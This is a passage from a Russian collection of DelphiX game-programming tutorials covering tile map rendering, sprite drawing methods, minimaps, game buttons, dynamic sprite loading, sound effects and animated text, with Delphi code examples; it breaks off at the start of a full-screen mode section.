Данные две строчки позволяют получить смешение левого верхнего угла экрана внутри левой верхней ячейки. Глобальные переменные ElemWidth,ElemHeight это высота и ширина ячейки(текстуры). Теперь нам необходимо получить номер строки и столбца ячейки где находится левый верхний угол окна вывода:
TopLeftElem.x := TopLeftCorner.x div ElemWidth; TopLeftElem.y := TopLeftCorner.y div ElemHeight; |
Далее необходимо рассчитать сколько у нас целых текстур влезает в окно вывода по вертикали и горизонтали:
HelpVar1 := DXDraw.Width - (ElemWidth - OffsPoint.x ); HelpVar2 := DXDraw.Height - (ElemHeight - OffsPoint.y ); ElemCount.x := HelpVar1 div ElemWidth; ElemCount.y := HelpVar2 div Elemheight; |
Где DXDraw.Width, DXDraw.Height - это ширина и высота окна вывода. Если у нас есть нецелые текстуры снизу и справа окна вывода, то добавляем к ElemCount.x, ElemCount.y по единице:
if (HelpVar1 mod ElemWidth) > 0 then Inc( ElemCount.x ); if (HelpVar2 mod ElemHeight) > 0 then Inc( ElemCount.y ); |
Далее следует вывод на экран:
for j := 0 to ElemCount.y do
for i := 0 to ElemCount.x do
begin
// Вычислить координаты куда выводить
X := i * ElemWidth - OffsPoint.x;
Y := j * ElemHeight - OffsPoint.y;
// Вычислить номер текстуры
index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j);
// Вывести текстуру на экран
// Учтите что LandType это не тип земли, а тип мира
// Snow, West и т.д.
ImageList.Items.Find(LandType).Draw(DXDraw.Surface,x,y,index);
end;
|
Строка:
index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j); |
Обращается к матрице карты и считывает оттуда номер текстуры, следующая строка выводит ее на экран.
Возможно вы спросите: А как же нецелые текстуры слева и сверху окна вывода? Их-то ты не учел? Посмотрите на кусок кода отвечающий за вывод на экран. Циклическая переменная инициализируется от 0 до ElemCount.(x,y). Это значит, что всегда выводится на одну текстуру больше, чем в ElemCount, а если слева и сверху нет нецелых текстур, то переменная OffsPoint.(x,y) будет равна размерам ячейки. Переменные HelpVar(1,2) станут на размер ячейки меньше, и следовательно переменные ElemCount.(x,y) станут на единицу меньше. Все. Смотрите исходники в модуле Main.pas.
В программе не отловлены все баги. Например определен только один тип мира "West", да и текстуры нарисованы чисто схематически.
Методы вывода спрайтов.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
В этой статье мы рассмотрим методы вывода спрайтов на экран. 1. Draw - Стандартная функция выводаDraw(X,Y: Integer; Source: TDirectDrawSurface; Transparent: Boolean)X,Y - координаты. TDirectDrawSurface - поверхность (DXDraw.Surface) Transparent - видимость 2. StretchDraw - Вывод со "скалированием", т.е. с изменением размера исходного спрайта
StretchDraw(constDestRect:TRect;Source:TDirectDrawSurface;Transparent:Boolean=True)TRect: Top : integer; Bottom : integer; Left : integer; Right : integer; или просто TopLeft : Троint BottomRight : Tpoint одним словом записи: rect.TopLeft.X:=100; rect.TopLeft.Y:=200; и rect.Left:=100; rect.Top:=200 абсолютно равны. Небольшой примерчик:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
const k:integer=0; n:integer=0;
var rect:trect;
begin
if not DXDraw.CanDraw then exit;
if n = 10 then k:=-1;
if n = 0 then k:=1;
n:=n+k;
rect.left:=10;
rect.right:=10*n;
rect.top:=10;
rect.bottom:=10*n;
DXDraw.Surface.Fill(0);
DXIMageList.Items.Find('1').StretchDraw(DXDraw.Surface,rect,0);
DXDraw.Flip
end;
3. DrawAlpha - Выводит с прозрачностью, так-же параллельно можно делать stretch
DrawAlpha(const DestRect,SrcRect:TRect;Source:TDirectDrawSurface;Transparent:Boolean;Alpha:Integer);Значение Alpha изменяется в пределах от 0 до 255. Небольшой примерчик: Киньте какой-нибудь фон, сразу будет видно прозрачность.
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
const k:integer=0; n:integer=0;
var rect:trect;
begin
if not DXDraw.CanDraw then exit;
if n = 10 then k:=-1;
if n = 0 then k:=1;
n:=n+k;
rect.left:=50-n*5;
rect.right:=50+n*5;
rect.top:=50-n*5;
rect.bottom:=50+n*5;
DXDraw.Surface.Fill(0);
DXIMageList.Items.Find('1').DrawAlpha(DXDraw.Surface,rect,0,n*25);
DXDraw.Flip
end;
Все остальное чуть позже.
4. DrawAdd : Хорошо подходит для создания эффектов. Вспышек, взрывов.:
5. DrawSub : Хорошо подходит для создания теней.:
6. DrawRotate : Вывод с поворотом исходного спрайта:
DrawRotate(Dest: TDirectDrawSurface; X, Y, Width, Height, PatternIndex: Integer; CenterX, CenterY: Double; Angle: Integer);
CenterX,CenterY - ось вращения.
При CenterX и CenterY равных 0 ось проиходит через левый-верхний угол спрайта
При CenterX и CenterY равных 0.5 ось проиходит через центр спрайта
При CenterX и CenterY равных 1 ось проиходит через правый-нижний угол спрайта
Angle - угол поворота, изменяется от 0 до 255
Небольшой примерчик:
procedure TForm1.DXTimer1Timer(Sender: TObject; LagCount: Integer);
const k:integer=0; n:integer=0;
begin
if not DXDraw.CanDraw then exit;
if n = 256 then k:=-1;
if n = 0 then k:=1;
n:=n+k;
DXDraw.Surface.Fill(0);
DXIMageList.Items.Find('1').DrawRotate(DXDraw.Surface,50,50,50,50,0,0.5,0.5,n);
DXDraw.Flip
end;
7. DrawRotateAlpha : Вывод с поворотом исходного спрайта + Alpha:
8. DrawRotateAdd : Вывод с поворотом исходного спрайта +
9. DrawRotateSub : Вывод с поворотом исходного спрайта + Sub
Создание Миникарты к Стратегиям.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Этот пример взят из нашей игры "В ОСАДЕ", способ хорош - быстрый и качественный. Немного о переменных и числах: 150 - это размер миникарты в пикселах (у нас 150 на 150) rx и ry - ширина и высота карты (у нас обычно 80 на 80) Перейдем непосредственно к описанию:
procedure CreatemMap;
var
i,j: Integer;
NG: TDIB; //Это картинка в которую мы будем сохранять миникарту
Item: TPictureCollectionItem; //Тут будет хранится картинка в ТdхImаgеList'е
tm:Tdirectdrawsurface; //Поверхность DxDraw
tm2:Tdirectdrawsurface; //Тоже
begin
ng:=tdib.Create; //Создаем компонент
tm:=Tdirectdrawsurface.Create(myform.DXDraw.Surface.DDraw); //Создаем поверхность
tm.SystemMemory:=false; //Это надо
tm.SetSize((150 div rx +1)*rx ,(150 div ry +1)*ry); //Устанавливаем размеры пропорциональные размерам карты
tm.Fill(0); //Заоиваем поверхность черным цветом
tm2:=Tdirectdrawsurface.Create(myform.DXDraw.Surface.DDraw); //Создаем вторую поверхность
tm2.SystemMemory:=false; //Надо
tm2.SetSize(150,150); //Устанавливаем сжатые размеры (Настоящий размер миникарты)
tm2.Fill(0); //Тоже заливаем черным
for i:=0 to rx-1 do //Далее отрисовываем всю карту
for j:=0 to ry-1 do //по частям в уменьшеном виде на первую поверхность
myform.il.Items.Find('west0').StretchDraw(tm,bounds((150 div rx+1)*i,(150 div ry+1)*j,150 div rx+1,150 div ry+1),map[i,j]);
//map - двухмерный массив содержащий номер картинки
tm.AssignTo(ng); //Сохраняем содержание поверхности в картинку
tm.Free; //Поверхность теперь нам не нужна и мы её удаляем
Item := TPictureCollectionItem.Create(MyForm.IL.Items); //Добавляем картинку в TDxImageList
Item.Name:='MMG'; //Её имя
Item.SystemMemory:=false; //Надо
Item.Picture.Graphic := ng; //Загружаем картинку в список
item.Transparent:=false; //Непрозрачна
Item.Restore; //Принимаем изменения
myform.il.Items.Find('mmg').StretchDraw(tm2,bounds(0,0,150,150),0); //Теперь рисуем(заодно и сжимаем) картинку в заданных размерах миникарты на вторую поверхность!
tm2.AssignTo(ng); //Опять сохраняем получившийся результат
tm2.Free; //Избавляемся от уже ненужной второй поверхности
Item.Name:='MMG'; //Исправляем то что нужно в ТdхImаgеList'е
Item.SystemMemory:=false; //Исправляем то что нужно в ТdхImаgеList'е
Item.Picture.Graphic := ng; //Исправляем то что нужно в ТdхImаgеList'е
item.Transparent:=false; //Исправляем то что нужно в ТdхImаgеList'е
Item.Restore; //Принимаем изменения
end;
Теперь во время игры просто отрисовываем картинку под именем MMG в нужном месте, и если надо то и точки(позиции юнитов на карте) на ней.
Вот в принципе и всё.
Создание кнопок (не спрайтовых) для использования в игре.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Вторая статья по игре "В ОСАДЕ" поясняющая, каким образом в игре появились кнопки! Итак, компонент Игровой Кнопки (MGIB) находится в файле Unit2.pas в исходнике игры. Рассматривать его мы не будем, будем рассматривать только то как он работает! Вся игра у нас делится на сцены. Каждая сцена делится на три части: 1.Загрузка сцены (выполняется один раз перед самой сценой) 2.Отрисовка/Обработка сцены (выполняется столько раз в секунду сколько у вас FPS, до тех пор пока не см.3) 3.Завершение сцены (освобождает память, один раз после окончания Отрисовки/Обработки сцены, только в том случае если игрок покинул игру или грузится другая сцена) Подробнее в других статьях. На загрузку сцены пишем:
var
form1:TForm;
ml:Tlist;
procedure startsceneMenu;
begin
ml:=Tlist.Create; //Создаем список (где будут кнопки)
{Добавляем кнопки в список}
ml.Add(mgib.Create); //Создаем кнопку в списке
with mgib(ml[ml.Count-1]) do //С ней делаем
begin
caption:='Новая игра'; //Рисуемый на ней текст
image:=il.Items.Find('btn20'); //Название изображения в DхImаgеList'е
width:=image.Width; //Ширина (нужна чтобы на кнопку можно было нажать)
height:=image.Height; //Высота (тоже нужна как и ширина)
x:=288; //Координаты левого верхнего угла (ЛВУ) по оси ИКС
y:=350; //Координаты ЛВУ по оси ИГРИК
end;
end;
В отрисовку сцены добавляем: ..................... var ..................... I:integer; begin ..................... for i:=0 to ml.items.count-1 do //Просто рисуем кнопки из списка mgib(ml.items[i]).dodraw; ..................... end;Но чтобы кнопки действовали нужно ещё сделать обработчик на Движение/Нажатие/Отжатие мыши и её кнопок. Вот они:
procedure Tform1.DXDrawMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
Var
i: integer;
begin
bk:=255; //Номер нажатой кнопки, чтобы определить какая кнопка была нажатой (255 ставится для того чтобы при нажатии мимо кнопки не нажималась кнопка номер 0)
for i:=0 to ml.Count-1 do //Если мышь над кнопкой то выделяем кнопку, и указывем номер выделеной кнопки
if mgib(ml[i]).HighLighted then
begin
mgib(ml[i]).Selected:=true;
bk:=i;
end;
end;
procedure Tform1.DXDrawMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer);
Var
i: integer;
MousePoint: TPoint;
begin
MousePoint:=Point(x,y);
for i:=0 to ml.Count-1 do //Если мышинный курсор над кнопкой, то выделяем текст на ней болдом(это в свойствах компонента называется Highlighted)
if ptinrect(mgib(ml[i]).BoundsRect,mousepoint) then
mgib(ml[i]).HighLighted:=true else mgib(ml[i]).HighLighted:=false;
end;
procedure Tform1.DXDrawMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer);
var
i,z:integer;
begin
case bk of //Если номер нажатой кнопки не равен 255 то, проверяем какая же кнопка была нажата, и выполняем записаные на неё действия.
0:begin //На кнопку 0 (Новая игра) записано: сделать кнопку невыделеной(чтобы не повторять эту процедуру до бесконечности) и начать сцену игры.
mgib(ml[0]).selected:=false;
startscene(gsgame);
end;
end;
end;
И на завершение сцены ставим:
..................... var ..................... I:integer; begin ..................... for i:=0 to ml.items.count-1 do //Просто очищаем список от кнопок mgib(ml.items[i]).free; ml.free; //И убираем вообще этот список ..................... end;Вот в принципе и всё.
Статья по динамической загрузке спрайтов.
Оформил: XVeL Автор: Spose WEB-сайт: http://daddy.mirgames.ru
Если делать игру с большим количеством графических изображений, то неразумно будет загружать их все сразу, например зачем в основном меню игры графика босса с последнего уровня? А вот памяти его "фото" будет жрать! Чтобы этого непроисходило необходимо разделить всю игру на сцены, и просто при загрузке конкретной сцены удалять из памяти ненужные картинки и загружать туда только те которые в этой сцене используются. Делаем это так: При загрузке сцены пишем:| loadpicdata(DxImagelist1 {Вместо DxImagelist1 имя вашего TdxImageLista},'Menu' {Тут название файла со списком используемых картинок данной сцены}); |
| [enemy] PictureHeight=96 PictureWidth=192 PatternHeight=0 PatternWidth=48 SkipHeight=0 SkipWidth=0 SystemMemory=0 Transparent=1 TransparentColor=$00FF8040 |
Procedure TForm1.LoadPicData( var DXImageList : TDXImageList; FileName : string);
Var
i : integer;
Item : TPictureCollectionItem;
SectionName : string;
Ident : string;
NewGraphic : TDIB;
BitMap : TBitMap;
PicFileName : string;
SectionList : TStringList;
JpgImg : TJPEGImage;
Ext : String;
Function GetName(InDir,InFileName : string): string ;
Var
OutFileName : string;
begin
Result:='';
OutFileName:=ExtractFilePath(Application.ExeName)+InDir+'\'+InFileName ;
Result:=OutFileName;
Exit;
OutFileName:='c:\'+InDir+'\'+InFileName;
if FileExists(OutFileName) then
begin
Result:=OutFileName;
Exit;
end;
end;
begin
DXImageList.Items.Clear; //Очищаем память от картинок
FileName:=ChangeFileExt(FileName,'.dat');
NewGraphic:=TDIB.Create;
BitMap:=TBitMap.Create;
SectionList:=TStringList.Create;
try //Читаем файл со списком изображений
With TIniFile.Create(GetName('Pictures\data',FileName)) do
try
ReadSections(SectionList);
For i:=0 to SectionList.Count-1 do
begin
SectionName:=SectionList[i];
//Пытаемся определить формат картинки
Ext:='bmp';
PicFileName:=GetName('Pictures',Ext+'\'+SectionName+'.'+Ext);
if FileExists(PicFileName) then
NewGraphic.LoadFromFile(PicFileName);
else
if not (FileExists(PicFileName)) then
begin
Ext:='jpg';
PicFileName:=GetName('Pictures\Jpg\',SectionName+'.'+Ext);
JpgImg:=TJPEGImage.Create;
try
JpgImg.LoadFromFile(PicFileName);
NewGraphic.Assign(JpgImg);
finally
JpgImg.Free;
end;
end;
//Добавляем картинку в память
Item := TPictureCollectionItem.Create(DXImageList.Items);
Item.Picture.Graphic := NewGraphic;
Item.Name:=SectionName;
Ident:='PatternHeight';
Item.PatternHeight:=ReadInteger(SectionName,Ident,0);
Ident:='PatternWidth';
Item.PatternWidth:=ReadInteger(SectionName,Ident,0);
Ident:='SkipHeight';
Item.SkipHeight:=ReadInteger(SectionName,Ident,0);
Ident:='SkipWidth';
Item.SkipWidth:=ReadInteger(SectionName,Ident,0);
Ident:='SystemMemory';
Item.SystemMemory:=ReadBool(SectionName,Ident,false);
Ident:='Transparent';
Item.Transparent:=ReadBool(SectionName,Ident,false);
Ident:='TransparentColor';
Item.TransparentColor:=StringToColor(ReadString(SectionName,Ident,'clBlack'));
Item.Restore;
end;
Finally
Free;
end;
Finally
NewGraphic.Free;
BitMap.Free;
SectionList.Free;
end;
end;
Вот и всё!
Система рационального создания спрайтов.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
B примере мы рассмотрим Четыре способа создания спрайтов: 1. Аркадный 2. Нерациональный 3. Рациональный 4. Рациональный два Итак способ первый - Аркадный. Его смысл заключается в том, что процедура создания спрайта описывается в коде заранее, а значит параметры спрайта определены ещё до его появления. Вот пример:
constructor TPlayerSprite.Create(AParent: TSprite);
begin
inherited Create(AParent);
Image := MyForm.ImageList.Items.Find('PlayerScate');
Width := Image.Width;
Height := Image.Height;
X := 20;
Y := 240-Height div 2;
Z := 2;
PixelCheck:=true;
AnimCount := Image.PatternCount;
AnimLooped := True;
AnimSpeed := 0/1000;
end;
Минус сей идеи в том, что каждый раз спрайт будет появлятся в одном и том же месте (в примере по Икс=20 и по Игрик=240 минус половину высоты картинки). Такой способ хорош только для аркад - где главный герой появляется строго в заданном месте. Второй способ - нерациональный. Каждому спрайту придумать свое имя (не путать с классом). Покажу на примере как это:
procedure TMainForm.FormCreate(Sender: TObject);
var MASHINA : TplayerSprite; //Вот оно имя спрайта - MASHINA
begin
mashina:=TplayerSprite.create(spriteengine.engine);
with TplayerSprite(mashina) do
begin
Image := MyForm.ImageList.Items.Find('PlayerScate');
Width := Image.Width;
Height := Image.Height;
X := 20;
Y := 240-Height div 2;
Z := 2;
PixelCheck:=true;
AnimCount := Image.PatternCount;
AnimLooped := True;
AnimSpeed := 0/1000;
end;
end;
Минус этой идеи в том, что спрайтов можно использовать ограниченное количество (только те которые так описаны и имеют свое имя), таким образом чтобы создать 100 спрайтов надо 100 раз написать эту функцию и придумать 100 разных имен! И вот наконец 3-й - Рациональный способ. Его идея состоит в том, чтобы создать TList добавить в него нужное кол-во спайтов и обработать их в нем. Вот пример для создания сотни спрайтов класса TPlayerSprite стоящих в ряд:
Procedure TMainForm.StartGameScene;
var
i:integer; //Переменная счета
List : Tlist;
begin
List:=Tlist.create;
for i:=1 to 100 do
begin
list.add(TPlayerSprite.create(spriteengine.engine));//Создаем спрайт и добавляем его в TList
with TplayerSprite(list.items[0]) do //Устанавливаем его характеристики
begin
Image := MyForm.ImageList.Items.Find('PlayerScate');
Width := Image.Width;
Height := Image.Height;
X := 20+width*i; //Ставим его на место в ряд по номеру
Y := 240-Height div 2;
Z := 2;
PixelCheck:=true;
AnimCount := Image.PatternCount;
AnimLooped := True;
AnimSpeed := 0/1000;
end;
list.clear; //Спрайт готов, и в TList он больше не нужен
end;
list.free; //Спрайты созданы и Tlist нам больше не нужен
end;
У этого варианта нет минусов. Именно "мутации" этой идеи используются в большинстве проффесиональных игр. Совсем забыл вот ещё четвертый:
Type
TOrc = class(TImageSprite) //Орк становится подклассом
public
constructor Create(AParent: TSprite;nx,ny:double);
end;
//А вот сама процедура:
constructor TOrc.Create(AParent: TSprite;nx,ny:double);
begin
inherited Create(AParent);
image:=myform.il.Items.Find('stand'); //Ну или свою картинку
width:=image.Width;
height:=image.Height;
x:=nx;
y:=ny;
//Тут чего нить свое
end;
Работает как часы! Орк(в примере) создается командой: Torc.create(spriteengine.engine, *Ваши координаты*);Надеюсь то что написано в этой статье вам поможет.
Обрезание спрайтов.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
Решение 1. В пропетиес DXDraw Align = alClient AutoSize = False doFlip = False doCenter = True Значения SurfaceHeight и SurfaceWidth делаем больше значений Height и Width на ширину тайла Решение 2. Сделать рамку с шириной в полтайла Решение 3. Написать новую процедуру отрисовки, где вычисляется положение тайлов. Если хоть часть тайла видна, то рисуем тайл.DELPHIX - TDXSound. AudioStream, стерео эффекты.
Оформил: XVeL Автор: 3d[Power] WEB-сайт: http://daddy.mirgames.ru
Основные принципы: С помощью TDXSound вы можете создавать звуковые эффекты в вашей программе. Все что Вам понадобится это поставить на форму 2 компонента: DXSound и DXWaveList. Последний является "коллекцией wav файлов". В который вы будете заносить wav файлы. УстановитеDxWaveList1.DXSound := DXSound1. В этот DXSound будет воспроизводиться звук. Чтобы проиграть звук вам надо в DxWaveList1 добавить какой нибудь wav файл. После чего вызвать
dxwavelist1.items[0].play(false);Будет проигран звук, который находится в списке нулевым. Можно и так:
dxwavelist1.Items.Find('somewave1').Play(False);
Добавление дополнительных эффектов:
Добавить можно следущие эффекты: изменение frequensy, pan, volume. Pan - ориентация звука (левый правый канал).
dxwavelist1.Items.Find('somewave1').Pan := 0; - Центр.
dxwavelist1.Items.Find('somewave1').Pan := -10000; - Максимально слева.
dxwavelist1.Items.Find('somewave1').Pan := 10000; - Максимально справа.
После чего вызвать dxwavelist1.Items.Find('somewave1').Play(False);
. Frequency - частота звука.
Назначается это значение так:
dxwavelist1.Items.Find('somewave1').Frequency.
Минимальное значение 4410, а максимальное 44100.
Volume - громкость звука.
Назначается это значение так:
dxwavelist1.Items.Find('somewave1').volume.
Минимальное значение -10000, а максимальное 0.
Looped.
У звука есть еще параметр .Looped : boolean который означает будет ли звук проигрываться "покругу". Что бы остановить такое проигрывание используйте .looped := false;
Загрузка wav файлов:
Загружать звуки в программу можно непосредственно через dxwavelist1 (просто вручную добавить файлы и все). А можно через отдельные *.dxw файлы - это контейнеры wаv'ов. Создавать которые можно специальными программами. Dxwavelist1.items.LoadFromFile ('sounds.dxw');
Это полезно для того чтобы ехе файл занимал меньше размера.
Загрузка wav файлов в "realtime"
Ниже указанная процедура загружает wav, и автоматически добавляет в Dxwavelist1:
procedure LoadSound (Filename, SoundName : String);
begin
dxwavelist1.Items.Add;
with dxwavelist1.Items[dxwavelist1.Items.Count-1] do
begin;
Wave.LoadFromFile(filename);
Name := SoundName;
restore;
end;
end;
NOTE: не забудьте поставить with form1 do. или declarations.
Вызывайте эту процедуру до dxsound1.initialize;
Если после, то выполните код: dxsound1.Finalize; dxsound1.Initialize;Загрузка всех wav файлов из директории Собственно использование findfirst. не более того:
var sr: TSearchRec;
begin
chdir('sounds'); //директория в которой звуки лежат
if FindFirst('*.wav', faAnyFile, sr) = 0 then begin
LoadSound(sr.name, sr.name); //имя звука будет идентично имени файла.
while FindNext(sr)=0 do
LoadSound(sr.name, sr.name); //заметьте что в имени звука учитывается регистр
end;
Использование AudioStream: var Audio: TAudioFileStream; WaveFormat: TWaveFormatEx; Audio := TAudioFileStream.Create(DXSound1.DSound); Audio.AutoUpdate := True; Audio.BufferLength := 1000; Audio.FileName := 'somefile.wav'; Audio.Looped := FALSE; MakePCMWaveFormatEx(WaveFormat, 44100, Audio.Format.wBitsPerSample, 2); DXSound1.Primary.SetFormat(WaveFormat); Audio.Play;NOTE: Вам надо в uses занести MMSystem, Wave; Я заметил что этот метод поджирает память (проверял по тестам). И на последок классная процедура автоматического расчета звука по каналам: Эта процедура автоматически расчитывает стерео для разрешения экрана 640хЧ80. Вызывается так: playsound('somesound1',320); - центр. playsound('somesound1',0); - слева. etc.
const
OPT_SOUND : boolean = true ; //наличие звук
OPT_STEREO : boolean = true ; //стерео
OPT_CHANNELAPPROACH : word = 10 ; //степень смешения каналов
OPT_REVERSESTEREO : boolean = false ; //реверсировать стерео
OPT_VOLUME : integer = 0 ; //громкость (-10000 | 0).
procedure PlaySound(soundname : shortstring; x : word);
var PanFactor, PanValue : Double;
begin
if OPT_SOUND = false then exit;
if OPT_STEREO = true then begin
PanFactor := 31.25; // 10000 is the panning range
PanValue := ((X * PanFactor)-10000) / OPT_CHANNELAPPROACH;
if OPT_REVERSESTEREO then PanValue := -panvalue;
end else panvalue := 0;
try
WaveLst.Items.Find(soundname).Pan := round(Panvalue);
WaveLst.Items.Find(soundname).Play(False);
WaveLst.Items.Find(soundame).Volume := OPT_VOLUME;
except
ShowMessage('Error playing sound "'+soundname+'"');
end;
end;
Автор статьи: 3d[Power]
Текст с эффектами.
Оформил: XVeL Автор: Релорт WEB-сайт: http://daddy.mirgames.ru
Содержание 1. Введение. 2. Благодарность и информация. 3. Часть 1. Базовый класс. 4. Часть 2. Эффект и отрисовка. 5. Заключение. Введение. Вам когда-нибудь хотелось организовать вывод текста, да не простого, а с наворотами. Так вот эта статья как раз про это. Читайте! Благодарность... Сайту Daddy.h1.ru (MirGames.ru) за то, что там можно найти информацию по DelphiX и скачать файлы со шрифтами :) Большое спасибо! … и информация. Прошу прошения у тех, кто писал на Relort@xaker.ru в последнее время, за то, что не ответил. В течение последнего месяца я не мог «достучатся» до своего ящика. И вот буквально вчера узнал, что тот на время накрылся :( Так что повторите свои отклики, просьбы, пожелания на новый электронный адрес. Также убедительная просьба присылать интересующие вас темы, и если я что-либо смогу по ним сказать, то обязательно это сделаю, оформив ответы в статьи. ОК? Часть 1. Базовый класс. Лирическое отступление: давайте договоримся, что все новые классы и тому подобное мы будем размешать в отдельных файлах. ОК? По крайне мере я собираюсь делать именно так... Итак, создаем новый проект, кидаем на форму TDXDraw, TDXTimer. Теперь создаем новый Unit и обзываем его, например, TextWithEffect_Unit.pas. Приготовления закончены. Приступаем. Рассуждаем: текст состоит из слов, слова из букв. Вот почему первым созданием в Unit’е будет:TLetterEffect = record Visible: Boolean; //видима ли буква CurTime, Delay: Integer; //... Scale: Integer; //это и будет нашим эффектом (уменьшение) end; TLetterEffectArray = array of TLetterEffect; PLetterEffectArray = ^TLetterEffectArray;То есть описание буквы текста и определение массива букв. Сразу за ним пишем:
TTextWithEffect = class private FontSurface: TDirectDrawSurface; TextSurface: TDirectDrawSurface; FText: String; FFontSize: Integer; FState: Integer; FFileName: String; LetterEffect: TLetterEffectArray; procedure SetText(const Value: String); procedure Error(ErrorType: Integer); procedure SetFontSize(const Value: Integer); procedure SetFileName(const Value: String); public property Text: String read FText write SetText; property FontSize: Integer read FFontSize write SetFontSize; property FileName: String read FFileName write SetFileName; procedure Draw(Surface: PDirectDrawSurface); constructor Create(DD: PDirectDraw); destructor Destroy; end;Надеюсь здесь все понятно? Нет!? Ну тогда ладно: FontSurface – поверхность (TDirectDrawSurface), содержащая алфавит. TextSurface - поверхность (TDirectDrawSurface), содержащая текст к выводу. LetterEffect – буквы текста. Text – текст к отрисовке. FontSize – размер каждой буквы текста. Здесь надо оговорится: каждая буква текста берется из файла с именем FileName (третье свойство TTextWithEffect), т. е. FileName – имя файла с алфавитом (см. архив, прилагаемый к статье, файл Font.bmp); и для заполнение TextSurface’а необходим размер каждой буквы. Ну и так далее... А сейчас самое интересное: создание эффекта и просмотр результата. Часть 2. Эффект и отрисовка. Для данного примера я опишу лишь один эффект – уменьшение букв с течением времени. Этот эффект довольно просто реализовать с учетом вышеописанного класса TLetterEffect. В том классе за текущее состояние эффекта буквы отвечала переменная Scale. Все что нам нужно – уменьшать ее во времени (но до определенного момента). А вот и сама процедура, принимающая в качестве аргумента указатель на массив букв. Вот...
//Эффект
procedure ScaleDown(L: PLetterEffectArray);
var
i: Integer;
begin
for i:=0 to High(L^) do
begin
if L^[i].Scale < 0 then
begin
inc(L^[i].CurTime);
if L^[i].CurTime <= L^[i].Delay then
dec(L^[i].Scale, 1);
exit;
end;
end;
end;
// ну и отрисовка
procedure TTextWithEffect.Draw(Surface: PDirectDrawSurface);
var
i: Integer;
rc: TRect;
rc1: Trect;
s: Integer;
begin
if FontSurface = nil then exit;
if FText = '' then exit;
// рисуем текст без эффекта
Surface^.Draw(32, 32, TextSurface.ClientRect, TextSurface, True);
// вносим изменения в эффект
ScaleDown(@LetterEffect);
// и выводим текст с эффектом побуквенно
for i:=0 to High(LetterWithEffect) do
begin
s := LetterEffect[i].Scale;
if s = 32 then exit;
rc1 := Rect(i*16,0,(i+1)*16,16);
if s < 0 then
begin
rc := Rect(i*16+32-s, 64-s, ((i+1)*16)+32+s, 80+s);
Surface^.StretchDraw(rc, rc1, TextSurface, True);
end
else Surface^.Draw(i*16+32, 64, rc1, TextSurface, True)
end;
end;
Заключение.
Посмотрите файл TWE_Ex.exe.
Вот чего можно добиться расширив данный пример :) !!!
Ну вот вроде бы как и все. Мы добрались до завершения статьи. Если что непонятно, необходимо пояснение или пример пишите. Отвечу всем.
Пример к статье
Автор: Релорт Relort@yandex.ru Февраль 2003.
Туториал по DelphiX.
Оформил: XVeL Автор: Daddy WEB-сайт: http://daddy.mirgames.ru
Все очень сыро и местами утрачено. Постепенно буду высушивать и восстанавливать. Изначально базировался на Tutorial by Martin Jochems , september 2001. Вступление 1. DXDraw 1.1 Наиболее частая конфигурация 1.2 Режимы экрана 1.2.1 Оконный режим 1.2.2 Полноэкранный режим 2. DXImageList 2.1 Загрузка изображений во время выполнения 2.2 Палитра 2.3 Фон 3. Спрайтовый движок 3.1 Система координат 3.2 Игровой сценарий 3.3 Фоновое изображение 3.3.1 Статический фон 3.3.2 Двигающийся фон 3.3.3 Тайловый фон (фон собранный из кусочков) 3.3.4 Столкновение с фоном 3.4 Изометрический тайловый движок 3.5 Анимация спрайтов 3.6 Столкновение спрайтов & pixelcheck 4. Таймер 5. DXInput 6. Советы & Секреты 6.1 Получение версии DirectX 6.2 Сценарий игры 6.3 STD Sprite 6.4 Оптимальное качество звука 6.5 Текст в DXDraw 6.6 Меню ВступлениеDelphiX - библиотека для Delphi основанная на Microsoft’овском DirectX. В настоящий момент, DelphiX поддерживает функции DirectX 1-7. Благодаря концепции DirectX, игры сделанные на более ранних версиях DirectX будут работать и на более поздних. 1.
DXDrawПоверхность компоненты DXDRAW служит фундаментом для отображения графики.
1.1 Наиболее частая конфигурация
Align...................allClient AutoSize................True Display FixedBitCount........True Fixedratio...........True Fixedsize............False Options DoFullScreen.........True doFlip...............True Rest.................FalseЕсли одновременно значения DoFullScreen и DoFlip сделать равными True, то кнопки управления окном не появятся (GDI=off). Если Вы хотите использовать кнопки, меню и т.д. можно сделать их в виде спрайтов. Если DoFlip=False, то включен оконный режим. Использование DoFullscreen и DoFlip делает игру очень быстрой по сравнению с игрой в оконном режиме.DXDrawSurface имеет тип TDirectDrawSurface. Эта поверхность также называется ' вторичной поверхностью ' или закадровой поверхностью, потому что она невидимая. Поверхность становится видимой после запроса метода DXDraw.Flip , в тот момент вторичная поверхность становится первичной. DXDraw.Primary - первичная (видимая) поверхность.
1.2 Режимы экранаТекущая конфигурация видеорежима Windows не влияет на игровую конфигурацию. Все настройки осуществляются через DXDraw. Форма, на которой размещается DXDraw , должна иметь тип TDXForm.
1.2.1 Оконный режим
Для включения/выключения оконного/полноэкранного режимов служит опция [doFullScreen], посмотрите:
procedure TForm1.WindowMode; begin DXDraw1.Finalize; RestoreWindow; DXDraw1.Options := DXDraw1.Options - [doFullScreen]; DXDraw1.Display.Width := 640; DXDraw1.Display.Height := 480; DXDraw1.Display.BitCount := 8; DXDraw1.Initialize; end; DXDraw.Align := alClient; Form.ClientWidth := … // Установка ширины Формы/DХDrаw Form.ClientHeight := … // Установка высоты Формы1.2.2 Полноэкранный режим
